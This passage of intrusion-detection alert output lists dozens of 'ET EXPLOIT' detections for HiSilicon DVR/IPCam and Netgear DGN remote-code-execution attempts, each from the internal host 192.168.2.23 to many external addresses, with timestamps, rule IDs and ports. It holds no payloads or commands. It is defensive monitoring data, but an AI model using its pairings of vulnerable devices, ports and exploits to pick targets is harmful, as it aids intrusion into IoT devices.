Source Port:	56344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.185.249.1

Timestamp:	05/16/24-16:39:02.748337
SID:	2030487
Source Port:	36356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 194.69.245.86

Timestamp:	05/16/24-16:39:01.467583
SID:	2034576
Source Port:	48866
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.101.48.25

Timestamp:	05/16/24-16:38:59.588203
SID:	2030487
Source Port:	43678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.101.48.25

Timestamp:	05/16/24-16:38:59.588203
SID:	2030488
Source Port:	43678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.231.40.52

Timestamp:	05/16/24-16:38:55.212351
SID:	2030487
Source Port:	44444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.120.86.249

Timestamp:	05/16/24-16:38:53.011530
SID:	2030488
Source Port:	43624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.120.86.249

Timestamp:	05/16/24-16:38:53.011530
SID:	2030487
Source Port:	43624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.28.173.209

Timestamp:	05/16/24-16:38:59.520089
SID:	2030487
Source Port:	42220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.105.179.253

Timestamp:	05/16/24-16:38:50.081753
SID:	2030488
Source Port:	37334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.105.179.253

Timestamp:	05/16/24-16:38:50.081753
SID:	2030487
Source Port:	37334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.146.167.93

Timestamp:	05/16/24-16:39:16.576791
SID:	2030487
Source Port:	48564
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.28.173.209

Timestamp:	05/16/24-16:38:59.520089
SID:	2030488
Source Port:	42220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.146.167.93

Timestamp:	05/16/24-16:39:16.576791
SID:	2030488
Source Port:	48564
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.127.240.159

Timestamp:	05/16/24-16:39:08.124486
SID:	2030488
Source Port:	54712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.72.200.75

Timestamp:	05/16/24-16:39:16.580487
SID:	2030487
Source Port:	49132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.127.203.75

Timestamp:	05/16/24-16:38:55.196494
SID:	2030488
Source Port:	48706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.127.240.159

Timestamp:	05/16/24-16:39:08.124486
SID:	2030487
Source Port:	54712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.72.200.75

Timestamp:	05/16/24-16:39:16.580487
SID:	2030488
Source Port:	49132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.127.203.75

Timestamp:	05/16/24-16:38:55.196494
SID:	2030487
Source Port:	48706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.207.148.184

Timestamp:	05/16/24-16:39:08.127167
SID:	2030488
Source Port:	40334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.207.148.184

Timestamp:	05/16/24-16:39:08.127167
SID:	2030487
Source Port:	40334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.7.47.151

Timestamp:	05/16/24-16:38:57.448054
SID:	2030487
Source Port:	37424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.7.47.151

Timestamp:	05/16/24-16:38:57.448054
SID:	2030488
Source Port:	37424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.164.169.197

Timestamp:	05/16/24-16:39:03.263613
SID:	2030488
Source Port:	40454
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.158.111.111

Timestamp:	05/16/24-16:39:05.699889
SID:	2030487
Source Port:	47922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.164.169.197

Timestamp:	05/16/24-16:39:03.263613
SID:	2030487
Source Port:	40454
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.158.111.111

Timestamp:	05/16/24-16:39:05.699889
SID:	2030488
Source Port:	47922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.107.252.46

Timestamp:	05/16/24-16:39:08.136458
SID:	2030487
Source Port:	34506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.107.252.46

Timestamp:	05/16/24-16:39:08.136458
SID:	2030488
Source Port:	34506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.202.117.150

Timestamp:	05/16/24-16:39:08.125339
SID:	2030487
Source Port:	46658
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.202.117.150

Timestamp:	05/16/24-16:39:08.125339
SID:	2030488
Source Port:	46658
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.9.140.121

Timestamp:	05/16/24-16:39:16.602155
SID:	2030487
Source Port:	43664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.9.140.121

Timestamp:	05/16/24-16:39:16.602155
SID:	2030488
Source Port:	43664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.38.84.119

Timestamp:	05/16/24-16:39:08.123599
SID:	2030488
Source Port:	45004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.38.84.119

Timestamp:	05/16/24-16:39:08.123599
SID:	2030487
Source Port:	45004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 213.47.195.110

Timestamp:	05/16/24-16:38:49.277196
SID:	2029215
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.34.38.190

Timestamp:	05/16/24-16:39:12.295328
SID:	2030487
Source Port:	47702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.39.28.234

Timestamp:	05/16/24-16:38:59.602373
SID:	2030488
Source Port:	49596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.39.28.234

Timestamp:	05/16/24-16:38:59.602373
SID:	2030487
Source Port:	49596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.34.38.190

Timestamp:	05/16/24-16:39:12.295328
SID:	2030488
Source Port:	47702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.43.134.42

Timestamp:	05/16/24-16:38:57.425728
SID:	2030488
Source Port:	49226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.243.77.234

Timestamp:	05/16/24-16:39:16.582512
SID:	2030487
Source Port:	33158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.43.134.42

Timestamp:	05/16/24-16:38:57.425728
SID:	2030487
Source Port:	49226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.243.77.234

Timestamp:	05/16/24-16:39:16.582512
SID:	2030488
Source Port:	33158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.173.95.8

Timestamp:	05/16/24-16:39:16.580479
SID:	2030488
Source Port:	49616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.173.95.8

Timestamp:	05/16/24-16:39:16.580479
SID:	2030487
Source Port:	49616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.191.59.124

Timestamp:	05/16/24-16:38:50.068974
SID:	2030487
Source Port:	50372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.82.205.52

Timestamp:	05/16/24-16:39:14.527598
SID:	2030487
Source Port:	48350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.247.84.244

Timestamp:	05/16/24-16:38:53.098221
SID:	2030487
Source Port:	60366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.247.84.244

Timestamp:	05/16/24-16:38:53.098221
SID:	2030488
Source Port:	60366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.191.59.124

Timestamp:	05/16/24-16:38:50.068974
SID:	2030488
Source Port:	50372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.40.33.122

Timestamp:	05/16/24-16:38:50.069306
SID:	2030488
Source Port:	33586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.40.33.122

Timestamp:	05/16/24-16:38:50.069306
SID:	2030487
Source Port:	33586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.82.205.52

Timestamp:	05/16/24-16:39:14.527598
SID:	2030488
Source Port:	48350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.10.247.21

Timestamp:	05/16/24-16:38:53.011234
SID:	2030487
Source Port:	49294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.10.247.21

Timestamp:	05/16/24-16:38:53.011234
SID:	2030488
Source Port:	49294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.74.255.178

Timestamp:	05/16/24-16:38:50.052450
SID:	2030488
Source Port:	45496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.74.255.178

Timestamp:	05/16/24-16:38:50.052450
SID:	2030487
Source Port:	45496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.41.152.170

Timestamp:	05/16/24-16:39:12.304207
SID:	2030488
Source Port:	56526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.41.152.170

Timestamp:	05/16/24-16:39:12.304207
SID:	2030487
Source Port:	56526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.39.98.61

Timestamp:	05/16/24-16:39:14.520148
SID:	2030488
Source Port:	32992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.39.98.61

Timestamp:	05/16/24-16:39:14.520148
SID:	2030487
Source Port:	32992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.218.80.137

Timestamp:	05/16/24-16:39:03.280118
SID:	2030488
Source Port:	40012
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.218.80.137

Timestamp:	05/16/24-16:39:03.280118
SID:	2030487
Source Port:	40012
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.6.230.105

Timestamp:	05/16/24-16:39:05.693323
SID:	2030488
Source Port:	60544
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.226.124.198

Timestamp:	05/16/24-16:38:55.226422
SID:	2030488
Source Port:	58776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.6.230.105

Timestamp:	05/16/24-16:39:05.693323
SID:	2030487
Source Port:	60544
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 181.188.20.229

Timestamp:	05/16/24-16:38:49.305817
SID:	2024916
Source Port:	37628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.191.149.203

Timestamp:	05/16/24-16:39:03.280098
SID:	2030488
Source Port:	50202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.207.146.22

Timestamp:	05/16/24-16:39:16.585501
SID:	2030487
Source Port:	48070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.207.146.22

Timestamp:	05/16/24-16:39:16.585501
SID:	2030488
Source Port:	48070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 177.19.87.240

Timestamp:	05/16/24-16:38:55.226383
SID:	2030487
Source Port:	35642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 177.19.87.240

Timestamp:	05/16/24-16:38:55.226383
SID:	2030488
Source Port:	35642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.219.13.115

Timestamp:	05/16/24-16:38:55.207690
SID:	2030487
Source Port:	45070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.219.13.115

Timestamp:	05/16/24-16:38:55.207690
SID:	2030488
Source Port:	45070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.217.241.92

Timestamp:	05/16/24-16:38:57.409864
SID:	2030488
Source Port:	60576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.217.241.92

Timestamp:	05/16/24-16:38:57.409864
SID:	2030487
Source Port:	60576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.190.122.207

Timestamp:	05/16/24-16:38:55.176120
SID:	2030488
Source Port:	47288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.191.149.203

Timestamp:	05/16/24-16:39:03.280098
SID:	2030487
Source Port:	50202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.190.122.207

Timestamp:	05/16/24-16:38:55.176120
SID:	2030487
Source Port:	47288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.226.124.198

Timestamp:	05/16/24-16:38:55.226422
SID:	2030487
Source Port:	58776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.201.169.72

Timestamp:	05/16/24-16:39:05.679553
SID:	2030487
Source Port:	46088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.201.169.72

Timestamp:	05/16/24-16:39:05.679553
SID:	2030488
Source Port:	46088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.121.120.109

Timestamp:	05/16/24-16:39:13.656745
SID:	2024916
Source Port:	49390
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.81.168.7

Timestamp:	05/16/24-16:38:59.519316
SID:	2030487
Source Port:	50878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.81.168.7

Timestamp:	05/16/24-16:38:59.519316
SID:	2030488
Source Port:	50878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.3.103.7

Timestamp:	05/16/24-16:38:55.210426
SID:	2030487
Source Port:	42016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.155.154.5

Timestamp:	05/16/24-16:39:05.717211
SID:	2030488
Source Port:	42836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.3.103.7

Timestamp:	05/16/24-16:38:55.210426
SID:	2030488
Source Port:	42016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.155.154.5

Timestamp:	05/16/24-16:39:05.717211
SID:	2030487
Source Port:	42836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.206.3.143

Timestamp:	05/16/24-16:39:12.295401
SID:	2030488
Source Port:	58446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.206.3.143

Timestamp:	05/16/24-16:39:12.295401
SID:	2030487
Source Port:	58446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.253.73.232

Timestamp:	05/16/24-16:38:50.063842
SID:	2030487
Source Port:	33304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.253.73.232

Timestamp:	05/16/24-16:38:50.063842
SID:	2030488
Source Port:	33304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.197.138.169

Timestamp:	05/16/24-16:38:53.098292
SID:	2030488
Source Port:	45616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.29.221.234

Timestamp:	05/16/24-16:38:57.429985
SID:	2030488
Source Port:	48472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.197.138.169

Timestamp:	05/16/24-16:38:53.098292
SID:	2030487
Source Port:	45616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.29.221.234

Timestamp:	05/16/24-16:38:57.429985
SID:	2030487
Source Port:	48472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.5.56.248

Timestamp:	05/16/24-16:39:08.146139
SID:	2030488
Source Port:	58950
